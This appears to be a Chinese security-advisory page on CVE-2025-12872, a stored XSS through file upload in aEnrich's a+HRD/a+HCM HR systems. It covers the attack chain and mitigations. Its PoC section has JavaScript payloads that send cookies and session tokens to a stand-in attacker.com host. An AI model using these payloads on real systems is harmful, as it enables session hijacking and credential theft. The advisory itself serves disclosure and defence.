IPBUF安全漏洞报告
English
CVE-2025-12872 CVSS 5.4 中危

CVE-2025-12872 aEnrich a+HRD/a+HCM 存储型XSS漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12872
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
aEnrich a+HRD, aEnrich a+HCM

相关标签

存储型XSS文件上传漏洞aEnricha+HRDa+HCMCVE-2025-12872人力资源管理系统跨站脚本会话劫持

漏洞概述

CVE-2025-12872是aEnrich公司开发的a+HRD(人力资源管理系统)和a+HCM(人力资本管理系统)中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许已认证的远程攻击者通过系统功能上传包含恶意JavaScript代码的文件。当其他用户被诱骗访问特定URL时,嵌入的恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、权限提升等严重安全后果。由于该漏洞需要认证才能利用,且需要用户交互触发,因此CVSS评分维持在5.4(中危)水平。攻击者利用此漏洞可以在受害用户上下文中执行任意JavaScript代码,窃取用户凭证、修改页面内容或进行进一步的攻击。

技术细节

该存储型XSS漏洞源于a+HRD和a+HCM系统对文件上传功能缺乏充分的输入验证和输出编码。攻击者首先需要通过正常认证流程登录系统,然后利用文件上传功能上传包含恶意JavaScript代码的文件(如HTML文件、图片文件的元数据中嵌入脚本等)。上传的文件在服务器端被存储,当其他用户访问包含该恶意文件的页面或通过特定URL访问时,浏览器会解析并执行嵌入的恶意代码。攻击者通常会构造社工攻击,诱导受害者点击特定链接或访问特定页面,从而触发XSS payload执行。由于是存储型XSS,恶意代码会持久存在于服务器端,所有访问该文件的用户都可能受到攻击。攻击者可利用此漏洞窃取用户会话cookie、伪造用户操作、植入恶意重定向或进行进一步的内网渗透。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者收集目标系统信息,确认a+HRD/a+HCM系统版本和可利用的上传接口
STEP 2
步骤2
认证阶段:攻击者获取系统有效账户(低权限即可),完成身份认证登录系统
STEP 3
步骤3
上传阶段:利用文件上传功能上传包含恶意JavaScript代码的文件(如HTML、SVG等),恶意代码被存储在服务器端
STEP 4
步骤4
诱导阶段:攻击者通过社工手段(如钓鱼邮件、即时消息等)诱导受害用户访问包含恶意文件的特定URL
STEP 5
步骤5
触发阶段:受害用户浏览器请求恶意文件,服务器返回包含XSS payload的内容,浏览器解析执行恶意JavaScript代码
STEP 6
步骤6
利用阶段:恶意代码在受害用户上下文中执行,可窃取会话cookie、用户凭证、敏感数据或执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12872 PoC - Stored XSS in aEnrich a+HRD/a+HCM // Author: [email protected] // Description: Upload malicious file with XSS payload // Step 1: Authentication (requires valid credentials) const authPayload = { username: '[email protected]', password: 'attacker_password' }; // Step 2: Upload malicious file with XSS payload const maliciousFile = { filename: 'malicious.html', contentType: 'text/html', content: `<html> <body> <img src=x onerror=" fetch('https://attacker.com/steal?cookie='+document.cookie) "> </body> </html>` }; // Step 3: Induce victim to visit the uploaded file URL const victimUrl = 'https://target-system.com/uploads/malicious.html'; // Alternative payload - Session hijacking const sessionHijackPayload = ` <script> document.addEventListener('DOMContentLoaded', function() { // Steal session tokens var tokens = { cookies: document.cookie, localStorage: localStorage.getItem('session'), sessionStorage: sessionStorage.getItem('token') }; // Exfiltrate to attacker server fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(tokens) }); }); </script>`;

影响范围

aEnrich a+HRD < 最新修复版本
aEnrich a+HCM < 最新修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制文件上传功能权限,仅允许受信任用户使用;2)对上传文件实施严格的MIME类型和扩展名验证,阻止HTML、SHTML、SVG等可能导致XSS的文件类型;3)在Web应用防火墙(WAF)上配置XSS防护规则,检测和拦截恶意payload;4)实施严格的输出编码,对所有用户生成的内容进行HTML实体编码;5)启用HttpOnly和Secure标志保护会话cookie;6)限制文件访问权限,确保上传文件只能通过授权接口访问;7)加强对用户的网络安全意识培训,警惕社工攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表